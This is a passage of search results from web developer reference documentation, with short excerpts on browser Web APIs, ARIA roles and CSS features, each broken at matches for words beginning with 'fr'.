from, which also saves on annoying typing for mobile users.
...And 2 more matches
Location - Web APIs
it can be set
from a different origin than the associated document.
...modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters
from the querystring.
... location.hash is a usvstring containing a '#' followed by the
fragment identifier of the url.
...And 2 more matches
Media Session action types - Web APIs
the specific type of media session action to be handled on a mediasession is identified using a string
from the mediasessionaction enumerated type.
... syntax a media session action's type is specified using a string
from the mediasessionaction enumerated type.
... seekbackward seeks backward through the media
from the current position.
...And 2 more matches
MediaSessionActionDetails - Web APIs
properties action a media session action type string taken
from the mediasessionaction enumerated type, indicating which type of action needs to be performed.
... media action types a media session action's type is specified using a string
from the mediasessionaction enumerated type.
... seekbackward seeks backward through the media
from the current position.
...And 2 more matches
MediaStreamTrackAudioSourceNode() - Web APIs
the web audio api's mediastreamtrackaudiosourcenode() constructor creates and returns a new mediastreamtrackaudiosourcenode object whose audio is taken
from the mediastreamtrack specified in the given options object.
... another way to create a mediastreamtrackaudiosourcenode is to call theaudiocontext.createmediastreamtracksource() method, specifying the mediastreamtrack
from which you want to obtain audio.
... options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack
from which to take audio data for this node's output.
...And 2 more matches
MerchantValidationEvent.complete() - Web APIs
the merchantvalidationevent method complete() takes merchant-specific information previously received
from the validationurl and uses it to validate the merchant.
... all you have to do is call complete()
from your handler for the merchantvalidation event, passing in the data fetched
from the validationurl.
... exceptions this exception may be passed into the rejection handler for the promise: invalidstateerror the event did not come directly
from the user agent, but was instead dispatched by other code.
...And 2 more matches
MessageEvent - Web APIs
properties this interface also inherits properties
from its parent, event.
... methods this interface also inherits methods
from its parent, event.
...if the onmessage event is attached using addeventlistener, the port is manually started using its start() method: myworker.port.start(); when the port is started, both scripts post messages to the worker and handle messages sent
from it using port.postmessage() and port.onmessage, respectively: first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.d...
...And 2 more matches
MouseEvent.relatedTarget - Web APIs
that is: event name target relatedtarget mouseenter the eventtarget the pointing device entered to the eventtarget the pointing device exited
from mouseleave the eventtarget the pointing device exited
from the eventtarget the pointing device entered to mouseout the eventtarget the pointing device exited
from the eventtarget the pointing device entered to mouseover the eventtarget the pointing device entered to the eventtarget the pointing device exited
from dragenter the eventtarget the pointing device entered to the eventtarget the pointing device exited
from dragexit the eventtar...
...get the pointing device exited
from the eventtarget the pointing device entered to for events with no secondary target, relatedtarget returns null.
...event.relatedtarget.id : "unknown"; mouseoutlog.innertext = `\n
from ${event.target.id} into ${related} ${mouseoutlog.innertext}`; } function overlistener(event) { let related = event.relatedtarget ?
...And 2 more matches
Using Navigation Timing - Web APIs
for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts
from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and outputs that information to the screen by inserting it into an element.
... html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial", sans-serif; } in tandem with appropriate html and css, the result is: the values listed are for the <i
frame> in which the sample is presented above.
... determining navigation type to put the timing information obtained
from performancetiming into the correct perspective, you need to know more about what sort of load operation occurred.
...And 2 more matches
PaymentAddress.toJSON() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettojson()chrome full support 61disabled full support 61disabled disabled
from version 61: this feature is behind the #web-payments preference (needs to be set to enabled).
...requires the comma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled
from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
PaymentResponse.details - Web APIs
syntax var detailsobject = paymentresponse.details; example the following example extracts the details
from the paymentresponse object to the promise returned
from paymentrequest.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
... androidopera for androidsafari on iossamsung internetdetailschrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
PaymentResponse.shippingAddress - Web APIs
.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = '
free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.sh...
... browser compatibility the compatibility table on this page is generated
from structured data.
...opera for androidsafari on iossamsung internetshippingaddresschrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
Multi-touch interaction - Web APIs
if (logevents) log("pointermove", ev); update_background(ev); ev.target.style.border = "dashed"; } pointer up the pointerup event is fired when a pointer is raised
from the contact surface.
... when this occurs, the event is removed
from the associated event cache.
... function pointerup_handler(ev) { if (logevents) log(ev.type, ev); // remove this touch point
from the cache and reset the target's // background and border remove_event(ev); update_background(ev); ev.target.style.border = "1px solid black"; } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and to clear the log.
...And 2 more matches
Pointer events - Web APIs
in fact, the pointerevent interface inherits all of the mouseevent properties, thus facilitating the migration of content
from mouse events to pointer events.
...most commonly, the sensing device is a touch-enabled screen that can sense input
from an input device such as a pen, stylus, or finger.
... pointerenter onpointerenter fired when a pointer is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event
from a device that does not support hover (see pointerdown).
...And 2 more matches
Web Push API Notifications best practices - Web APIs
searching the web for "web push notifications," you'll find articles
from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to recommended products.
...win them back with an expiring offer of
free shipping that they can’t ignore!
...sometimes they can eliminate
frustration and annoyance, and sometimes they can cause them, and it’s up to you as a developer to make wise recommendations (and decisions) about the use of push notifications.
...And 2 more matches
RTCConfiguration - Web APIs
this must be one of the values
from the enum rtcbundlepolicy.
... icetransportpolicy optional the current ice transport policy; this must be one of the values
from the rtcicetransportpolicy enumeration.
...the value must be one of those
from the rtcrtcpmuxpolicy enum.
...And 2 more matches
RTCDataChannel - Web APIs
every data channel is associated with an rtcpeerconnection, and each peer connection can have up to a theoretical maximum of 65,534 data channels (the actual limit may vary
from browser to browser).
... propertiesalso inherits properties
from: eventtargetbinarytype the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
...ing data connection.reliable read only the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.stream read only the deprecated (and never part of the official specification) read-only rtcdatachannel property stream returns an id number (between 0 and 65,535) which uniquely identifies the rtcdatachannel.event handlersalso inherits event handlers
from: eventtargetonbufferedamountlow the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel.
...And 2 more matches
RTCIceParameters - Web APIs
the rtciceparameters dictionary specifies the username
fragment and password assigned to an ice session.
... during ice negotiation, each peer's username
fragment and password are recorded in an rtciceparameters object, which can be obtained
from the rtcicetransport by calling its getlocalparameters() or getremoteparameters() method, depending on which end interests you.
... properties username
fragment a domstring specifying the value of the ice session's username
fragment field, u
frag.
...And 2 more matches
RTCIceTransportState - Web APIs
the transport may revert
from the "connected" state to the "checking" state if either peer decides to cancel consent to use the selected candidate pair, and may revert to "disconnected" if there are no candidates left to check but one or both clients are still gathering candidates.
... "completed" the transport has finished gathering local candidates and has received a notification
from the remote peer that no more candidates will be sent.
... "failed" the rtcicetransport has finished the gathering process, has received the "no more candidates" notification
from the remote peer, and has finished checking pairs of candidates, without successfully finding a pair that is both valid and for which consent can be obtained.
...And 2 more matches
RTCRtpContributingSource.audioLevel - Web APIs
the read-only audiolevel property of the rtcrtpcontributingsource interface indicates the audio level contained in the last rtp packet played
from the described source.
... syntax var audiolevel = rtcrtpcontributingsource.audiolevel value a double-precision floating-point number which indicates the volume level of the audio in the most recently received rtp packet
from the source described by the rtcrtpcontributingsource.
...a value of 1.0 represents 0 dbov (maximum volume), a value of 0.0 represents silence, and a value of 0.5 represents approximately 6 db spl (decibels of sound pressure level) change in the sound pressure level
from 0 dbov.
...And 2 more matches
RTCRtpEncodingParameters - Web APIs
codecpayloadtype when describing a codec for an rtcrtpsender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for sending the stream; the value matches one
from the owning rtcrtpparameters object's codecs parameter.
...the value is taken
from the enumerated string type rtcdtxstatus.
...other parameters may further constrain the bit rate, such as the value of max
framerate or transport or physical network limitations.
...And 2 more matches
RTCRtpSendParameters.encodings - Web APIs
codecpayloadtype when describing a codec for an rtcrtpsender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for sending the stream; the value matches one
from the owning rtcrtpparameters object's codecs parameter.
...the value is taken
from the enumerated string type rtcdtxstatus.
...other parameters may further constrain the bit rate, such as the value of max
framerate or transport or physical network limitations.
...And 2 more matches
RTCRtpSender.setParameters() - Web APIs
the available options are: degradationpreference specifies the preferred way the webrtc layer should handle optimizing bandwidth against quality in constrained-bandwidth situations; the value comes
from the rtcdegradationpreference enumerated string type, and the default is balanced.
... priority a string
from the rtcprioritytype enumerated type which indicates the encoding's priority.
... exceptions if an error occurs, the returned promise is rejected with the appropriate exception
from the list below.
...And 2 more matches
RTCStatsReport - Web APIs
type a domstring indicating the type of statistics the object contains, taken
from the enum type rtcstatstype.
... inbound-rtp an rtcinboundrtpstreamstats object providing statistics about inbound data being received
from remote peers.
... local-candidate an rtcicecandidatestats object giving statistics about an ice local candidate; these candidates are found in the output
from rtcicetransport.getlocalcandidates().
...And 2 more matches
Using the Resource Timing API - Web APIs
this example also calculates the time
from the start of the fetch and request start phases (fetchstart and requeststart, respectively), until the response has ended (responseend).
...the encodedbodysize property returns the size (in octets) received
from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... decodedbodysize returns the size (in octets) received
from the fetch (http or cache) of the message body, after removing any applied content-codings.
...And 2 more matches
Resource Timing API - Web APIs
the last three timestamps are, in order: requeststart - the timestamp before the browser starts requesting the resource
from the server; responsestart - the timestamp after the browser receives the first byte of the response
from the server; and responseend - the timestamp after the browser receives the last byte of the resource.
... the properties which are returned as 0 by default when loading a resource
from a domain other than the one of the web page itself: redirectstart, redirectend, domainlookupstart, domainlookupend, connectstart, connectend, secureconnectionstart, requeststart, and responsestart.
... the encodedbodysize property returns the size (in octets) received
from the fetch (http or cache), of the payload body, before removing any applied content-codings.
...And 2 more matches
SVGPathElement - Web APIs
properties this interface also inherits properties
from its parent, svggeometryelement.
... note: in svg 2 this property was moved to the svggeometryelement interface,
from which this interface inherits it.
... methods this interface also inherits methods
from its parent, svggeometryelement.
...And 2 more matches
Screen - Web APIs
screen.availleft returns the first available pixel available
from the left side of the screen.
... screen.left returns the distance in pixels
from the left side of the main screen to the left side of the current screen.
... screen.top returns the distance in pixels
from the top side of the current screen.
...And 2 more matches
Slottable - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...ndroidopera for androidsafari on iossamsung internetslottable experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
... full support 10.1webview android full support 53chrome android full support 53firefox android full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...And 2 more matches
SpeechGrammarList - Web APIs
methods speechgrammarlist.item() standard getter — allows individual speechgrammar objects to be retrieved
from the speechgrammarlist using array syntax.
... speechgrammarlist.add
fromuri() takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object.
... speechgrammarlist.add
fromstring() takes a grammar present in a specific domstring within the code base (e.g.
...And 2 more matches
Using the Storage Access API - Web APIs
since embedded content won’t know which storage policy is in use by the user, it’s best to always check whether the embedded
frame has storage access before attempting to read or write
from storage.
... accessing a user's cookies in an embedded cross-origin i
frame in this example we show how an embedded cross-origin <i
frame> can access a user’s cookies under a storage access policy that blocks third-party cookies.
... first of all, if the <i
frame> is sandboxed, the embedding website needs to add the allow-storage-access-by-user-activation sandbox token to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <i
frame sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ...
...And 2 more matches
TextTrackList.onremovetrack - Web APIs
the texttracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a text track has been removed
from the media element, and therefore also
from the texttracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed
from the media element's texttracklist.
... syntax texttracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which text track has been removed
from the media element.
...And 2 more matches
TextTrackList - Web APIs
properties this interface also inherits properties
from its parent interface, eventtarget.
... onremovetrack an event handler to call when the removetrack event is sent, indicating that a text track has been removed
from the media element.
... methods this interface also inherits methods
from its parent interface, eventtarget.
...And 2 more matches
VideoTrack - Web APIs
the videotrack interface represents a single video track
from a <video> element.
...the id can also be used as the
fragment part of the url if the media supports seeking by media
fragment per the media
fragments uri specification.
...returns null if the track was not created by a sourcebuffer or the sourcebuffer has been removed
from the mediasource.sourcebuffers attribute of its parent media source.
...And 2 more matches
VideoTrackList.onremovetrack - Web APIs
the videotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a video track has been removed
from the media element, and therefore also
from the videotracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed
from the media element's videotracklist.
... syntax videotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been removed
from the media element.
...And 2 more matches
VideoTrackList - Web APIs
properties this interface also inherits properties
from its parent interface, eventtarget.
... onremovetrack an event handler to call when the removetrack event is sent, indicating that a video track has been removed
from the media element.
... methods this interface also inherits methods
from its parent interface, eventtarget.
...And 2 more matches
Visual Viewport API - Web APIs
to access a window's visual viewport, you can obtain a visualviewport object
from the window.visualviewport property.
... one thing that may not be clear in this example is the use of the pendingupdate flag and the call to requestanimation
frame().
... the pendingupdate flag serves to prevent multiple invocations of the trans
from that can occur when onresize and onscroll fire at the same time.
...And 2 more matches
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
the webgl_draw_buffers.drawbufferswebgl() method is part of the webgl api and allows you to define the draw buffers to which all
fragment colors are written.
...possible values: gl.none: the
fragment shader is not written to any color buffer.
... gl.back: the
fragment shader is written to the back color buffer.
...And 2 more matches
WebGL2RenderingContext.copyBufferSubData() - Web APIs
syntax void gl.copybuffersubdata(readtarget, writetarget, readoffset, writeoffset, size); parameters readtarget writetarget a glenum specifying the binding point (target)
from whose data store should be read or written.
... gl.copy_read_buffer: buffer for copying
from one buffer object to another (provided specifically for copy operations).
... gl.copy_write_buffer: buffer for copying
from one buffer object to another (provided specifically for copy operations).
...And 2 more matches
WebGLRenderingContext.colorMask() - Web APIs
the webglrenderingcontext.colormask() method of the webgl api sets which color components to enable or to disable when drawing or rendering to a webgl
framebuffer.
... syntax void gl.colormask(red, green, blue, alpha); parameters red a glboolean specifying whether or not the red color component can be written into the
frame buffer.
... green a glboolean specifying whether or not the green color component can be written into the
frame buffer.
...And 2 more matches
WebGLRenderingContext.cullFace() - Web APIs
the webglrenderingcontext.cullface() method of the webgl api specifies whether or not
front- and/or back-facing polygons can be culled.
... syntax void gl.cullface(mode); parameters mode a glenum specifying whether
front- or back-facing polygons are candidates for culling.
...possible values are: gl.
front gl.back gl.
front_and_back return value none.
...And 2 more matches
WebGLRenderingContext.readPixels() - Web APIs
the webglrenderingcontext.readpixels() method of the webgl api reads a block of pixels
from a specified rectangle of the current color
framebuffer into an arraybufferview object.
... syntax // webgl1: void gl.readpixels(x, y, width, height, format, type, pixels); // webgl2: void gl.readpixels(x, y, width, height, format, type, glintptr offset); void gl.readpixels(x, y, width, height, format, type, arraybufferview pixels, gluint dstoffset); parameters x a glint specifying the first horizontal pixel that is read
from the lower left corner of a rectangular block of pixels.
... y a glint specifying the first vertical pixel that is read
from the lower left corner of a rectangular block of pixels.
...And 2 more matches
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
the webglrenderingcontext.stencilmaskseparate() method of the webgl api controls enabling and disabling of
front and/or back writing of individual bits in the stencil planes.
... the webglrenderingcontext.stencilmask() method can set both, the
front and back stencil writemasks to one value at the same time.
... syntax void gl.stencilmaskseparate(face, mask); parameters face a glenum specifying whether the
front and/or back stencil writemask is updated.
...And 2 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
reference standard interfaces webglrenderingcontext webgl2renderingcontext webglactiveinfo webglbuffer webglcontextevent webgl
framebuffer webglprogram webglquery webglrenderbuffer webglsampler webglshader webglshaderprecisionformat webglsync webgltexture webgltransformfeedback webgluniformlocation webglvertexarrayobject extensions angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_
frag_depth ext_srgb ext_shader_...
...it is based on opengl es 3.0 and new features include: 3d textures, sampler objects, uniform buffer objects, sync objects, query objects, transform feedback objects, promoted extensions that are now core to webgl 2: vertex array objects, instancing, multiple render targets,
fragment depth.
...topics examined are adapting to aspect ratio differences, a function to build shader programs
from sets of multiple shaders, and the basics of drawing in webgl.
...And 2 more matches
Writing WebSocket client applications - Web APIs
note: the example snippets in this article are taken
from our websocket chat client/server sample.
...for example, a chat program can interact with a server using a protocol implemented using packets of json-encapsulated data: // send text to all users through the server function sendtext() { // construct a msg object containing the data the server needs to process the message
from the chat client.
... examplesocket.send(json.stringify(msg)); // blank the text input element, ready to receive the next line of text
from the user.
...And 2 more matches
Writing a WebSocket server in Java - Web APIs
this server conforms to rfc 6455, so it only handles connections
from chrome version 16, firefox 11, ie 10 and higher.
... outputstream methods: write(byte[] b, int off, int len) writes len bytes
from the specified byte array starting at offset off to this output stream.
... inputstream methods: read(byte[] b, int off, int len) reads up to len bytes of data
from the input stream into an array of bytes.
...And 2 more matches
WebXR application life cycle - Web APIs
call the xrsession method requestanimation
frame() to schedule the first
frame render for the xr device.
... if your scene is complex, you should consider creating a worker—or using one that you've previously created for this purpose—to perform the computations needed for each
frame to be rendered.
... each requestanimation
frame() callback should use the information provided about the objects located in the 3d world to render the
frame using webgl.
...And 2 more matches
WebXR permissions and security - Web APIs
the webxr device api has several areas of security to contend with,
from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it.
...this permission comes
from the xr-spatial-tracking feature policy.
... once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the
from the startup code for a user-launched web application.
...And 2 more matches
Window.event - Web APIs
this property is not universally supported and even when supported introduces potential
fragility to your code.
... note: this property can be
fragile, in that there may be situations in which the returned event is not the expected value.
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
Window.getComputedStyle() - Web APIs
avascript let para = document.queryselector('p'); let compstyles = window.getcomputedstyle(para); para.textcontent = 'my computed font-size is ' + compstyles.getpropertyvalue('font-size') + ',\nand my computed line-height is ' + compstyles.getpropertyvalue('line-height') + '.'; result description the returned object is the same cssstyledeclaration type as the object returned
from the element's style property.
... however, the two objects have different purposes: the object
from getcomputedstyle is read-only, and should be used to inspect the element's style — including those set by a <style> element or an external stylesheet.
... the element.style object should be used to set styles on that element, or inspect styles directly added to it
from javascript manipulation or the global style attribute.
...And 2 more matches
Window.onmozbeforepaint - Web APIs
this is used in concert with the window.mozrequestanimation
frame() method to perform smooth, synchronized animations
from javascript code.
... example see window.mozrequestanimation
frame() for an example.
... notes this event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimation
frame().
...And 2 more matches
Worker - Web APIs
properties inherits properties
from its parent, eventtarget, and implements properties
from abstractworker.
...this is inherited
from abstractworker.
...when a message is sent to the parent document
from the worker via dedicatedworkerglobalscope.postmessage.
...And 2 more matches
XRPose.transform - Web APIs
the transform read-only attribute of the xrpose interface is a xrrigidtransform object providing the position and orientation of the pose relative to the base xrspace as specified when the pose was obtained by calling xr
frame.getpose().
... syntax let posetransform = xrpose.transform; value an xrrigidtransform which provides the position and orientation of the xrpose relative to the xr
frame to which this xrpose is aligned.
... this is the same pose that's returned by the
frame's getpose() method.
...And 2 more matches
XRRenderState - Web APIs
these properties include the range of distances
from the viewer within which content should be rendered, the vertical field of view (for inline presentations), and a reference to the xrwebgllayer being used as the target for rendering the scene prior to it being presented on the xr device's display or displays.
... when you apply changes using the xrsession method updaterenderstate(), the specified changes take effect after the current animation
frame has completed, but before the next one begins.
... baselayer read only the xrwebgllayer
from which the browser's compositing system obtains the image for the xr session.
...And 2 more matches
XRSession.updateRenderState() - Web APIs
the updaterenderstate() method of the xrsession interface of webxr api schedules changes to be applied to the active render state prior to rendering of the next
frame.
... syntax xrsession.updaterenderstate(newstate) parameters newstate an object conforming to the xrrenderstateinit dictionary specifying the properties of the session's renderstate to update before rendering the next
frame.
... baselayer optional an xrwebgllayer object
from which the webxr compositor will obtain imagery.
...And 2 more matches
XRWebGLLayer.getViewport() - Web APIs
for webxr devices which use a single
framebuffer for both the left and right eyes, the returned viewport represents the region of the
framebuffer into which the scene should be rendered for the eye represented by the view.
... exceptions invalidstateerror either the specified view is not in an active xr
frame or that xr
frame and the xrwebgllayer are not part of the same webxr session.
... example this example demonstrates in part what the callback for the requestanimation
frame() function might look like, using getviewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered.
...And 2 more matches
XSLTProcessor - Web APIs
[throws] document
fragment xsltprocessor.transformto
fragment(node source, document owner) transforms the node source by applying the stylesheet imported using the xsltprocessor.importstylesheet() function.
... the owner document of the resulting document
fragment is the owner node.
... [throws] any xsltprocessor.getparameter(string namespaceuri, string localname) gets the value of a parameter
from the xslt stylesheet.
...And 2 more matches
ARIA: feed role - Accessibility
a feed is a dynamic scrollable list of articles in which articles are added to or removed
from either end of the list as the user scrolls.
...by identifying the elements inside of an article that provide the title and the primary content, assistive technologies can provide functions that enable users to jump
from article to article and efficiently discern which articles they want to read.
... if a feed is nested within a feed, such as a comments feed within a feed of blog posts, the convention is to tab into the nested feed with the tab key and to provide another key, such as alt + page down, to navigate
from an 'outer' article to the first item in that article's nested feed.
...And 2 more matches
ARIA: switch role - Accessibility
changing the aria-checked attribute when a click event is fired on the switch widget, the handler must change the value of the aria-checked attribute
from true to false, or vice versa.
... possible effects on user agents and assistive technology when the switch role is added to an element, the user agent handles it like this: the element is exposed to the system's accessibility in
frastructure as having the switch role.
...this prevents elements that are used to construct the switch
from being interacted with individually by assistive technologies.
...And 2 more matches
Accessibility and Spacial Patterns - Accessibility
the two images below are
from nasa research, specifically,
from the article, "designing with blue" "spatial localization.
... for example, "how" an object looks when it is rotated,
from different angles, how they look sliced, and how they relate to each other in space all make a difference in an ability to understand math in spatial terms.
... the braille dots have to be spatially apart
from one another so as to be readable in a "human" way.
...And 2 more matches
Perceivable - Accessibility
this is for the benefit of people who can't see the visual part of the video, and don't get the full content
from the audio alone.
... success criteria how to conform to the criteria practical resource 1.3.1 info and relationships (a) any content structure—or visual relationship made between content—can also be determined programmatically, or be inferred
from text description.
... "swipe
from the right hand side of the screen to reveal the menu" some users might not be able to swipe the screen, either due to disability or because their device does not support touch.
...And 2 more matches
:host - CSS: Cascading Style Sheets
the :host css pseudo-class selects the shadow host of the shadow dom containing the css it is used inside — in other words, this allows you to select a custom element
from inside its shadow dom.
... /* selects a shadow root host */ :host { font-weight: bold; } syntax :host examples styling the shadow host the following snippets are taken
from our host-selectors example (see it live also).
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
:scope - CSS: Cascading Style Sheets
when used
from a dom api such as queryselector(), queryselectorall(), matches(), or element.closest(), :scope matches the element on which the method was called.
... syntax :scope examples identity match in this simple example, we demonstrate that using the :scope pseudo-class
from the element.matches() method matches the element on which it's called.
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
CSS Multi-column Layout - CSS: Cascading Style Sheets
support is included for establishing the number of columns in a layout, as well as how content should flow
from column to column, gap sizes between columns, and column dividing lines (known as column rules) along with their appearance.
... relationship to
fragmentation multiple-column layout is closely related to paged media, in that each column box becomes a
fragment, much like a printed page becomes a
fragment of an overall document.
... therefore the properties now defined in the css
fragmentation specification are required in order to control how content breaks between columns.
...And 2 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
it then works on all the items as a set, and dictates what happens with that
free space, and the alignment of the entire set of items within it.
...as before, we need enough space in the cross axis to have some
free space after displaying all of the items.
... if you change flex-direction to one of the reverse values, then they will lay themselves out
from the end axis and in the reverse order to the way words are written in the language of your document.
...And 2 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
we will also consider the implications of reordering items
from an accessibility point of view.
... reverse the display of the items the flex-direction property can take one of four values: row column row-reverse column-reverse the first two values keep the items in the same order that they appear in the document source order and display them sequentially
from the start line.
... in the live example below i have added a focus style in order that as you tab
from link to link you can see which is highlighted.
...And 2 more matches
CSS Scrollbars - CSS: Cascading Style Sheets
baseline rules for scrollbar usability | adrian roselli browser compatibility the compatibility table in this page is generated
from structured data.
...oidopera for androidsafari on iossamsung internetscrollbar-widthchrome no support noedge no support nofirefox full support 64 full support 64 full support 63disabled disabled
from version 63: this feature is behind the layout.css.scrollbar-width.enabled preference (needs to be set to true).
...pport nowebview android no support nochrome android no support nofirefox android full support 64 full support 64 full support 63disabled disabled
from version 63: this feature is behind the layout.css.scrollbar-width.enabled preference (needs to be set to true).
...And 2 more matches
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
picking a target the pseudo-class :target is used to style the target element of a url containing a
fragment identifier.
... for example, the url http://developer.mozilla.org/en/docs/using_the_:target_selector#example contains the
fragment identifier #example.
...this is simple enough: h2:target { font-weight: bold; } it's also possible to create styles that are specific to a particular
fragment of the document.
...And 2 more matches
Using CSS transitions - CSS: Cascading Style Sheets
for example, if you change the color of an element
from white to black, usually the change is instantaneous.
...the specification recommends not animating
from and to auto.
...this is the best way to configure transitions, as it makes it easier to avoid out of sync parameters, which can be very
frustrating to have to spend lots of time debugging in css.
...And 2 more matches
attr() - CSS: Cascading Style Sheets
frequency <
frequency> the attribute value is parsed as a css <
frequency> dimension, that is including the unit (e.g.
...if it is not valid, that is not a
frequency or out of the range accepted by the css property, the default value is used.
... hz, khz <
frequency> the attribute value is parsed as a css <number>, that is without the unit (e.g.
...And 2 more matches
backface-visibility - CSS: Cascading Style Sheets
an element's back face is a mirror image of its
front face.
... hidden the back face is hidden, effectively making the element invisible when turned away
from the user.
... html <table> <tr> <th><code>backface-visibility: visible;</code></th> <th><code>backface-visibility: hidden;</code></th> </tr> <tr> <td> <div class="container"> <div class="cube showbf"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> <p> since all faces are partially transparent, the back faces (2, 4, 5) are visible through the
front faces (1, 3, 6).
...And 2 more matches
background-image - CSS: Cascading Style Sheets
to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/cat
front.png'); values none is a keyword denoting the absence of images.
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
... more.</p> </div> css p { font-size: 1.5em; color: #fe7f88; background-image: none; background-color: transparent; } div { background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/cat
front.png"); background-color: transparent; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-image' in that specification.
...And 2 more matches
box-shadow - CSS: Cascading Style Sheets
the box-shadow css property adds shadow effects around an element's
frame.
... the box-shadow property enables you to cast a drop shadow
from the
frame of almost any element.
... the presence of the inset keyword changes the shadow to one inside the
frame (as if the content was depressed inside the box).
...And 2 more matches
break-inside - CSS: Cascading Style Sheets
syntax the break-inside property is specified as one of the keyword values
from the list below.
... avoid avoids any break (page, column, or region)
from being inserted within the principal box.
...nulla vitae
fringilla mauris.
...And 2 more matches
cross-fade() - CSS: Cascading Style Sheets
url(white.png) 50%, url(black.png) 50%); /* 50% white, 50% black */ cross-fade( url(white.png) 75%, url(black.png) 25%); /* 75% white, 25% black */ cross-fade( url(white.png) 100%, url(black.png) 0%); /* fully white */ cross-fade( url(green.png) 75%, url(red.png) 75%); /* both green and red at 75% */ if any percentages are omitted, all the specified percentages are summed together and subtracted
from 100%.
...the 50%/50% example seen above did not need to have the percentages listed, as when a percentage value is omitted, the included percentages are added together and subtracted
from 100%.
...the included percentage is subtracted
from 100%, with the difference being the opacity of the second image.
...And 2 more matches
direction - CSS: Cascading Style Sheets
use rtl for languages written
from right to left (like hebrew or arabic), and ltr for those written
from left to right (like english and most other languages).
... unlike the dir attribute in html, the direction property is not inherited
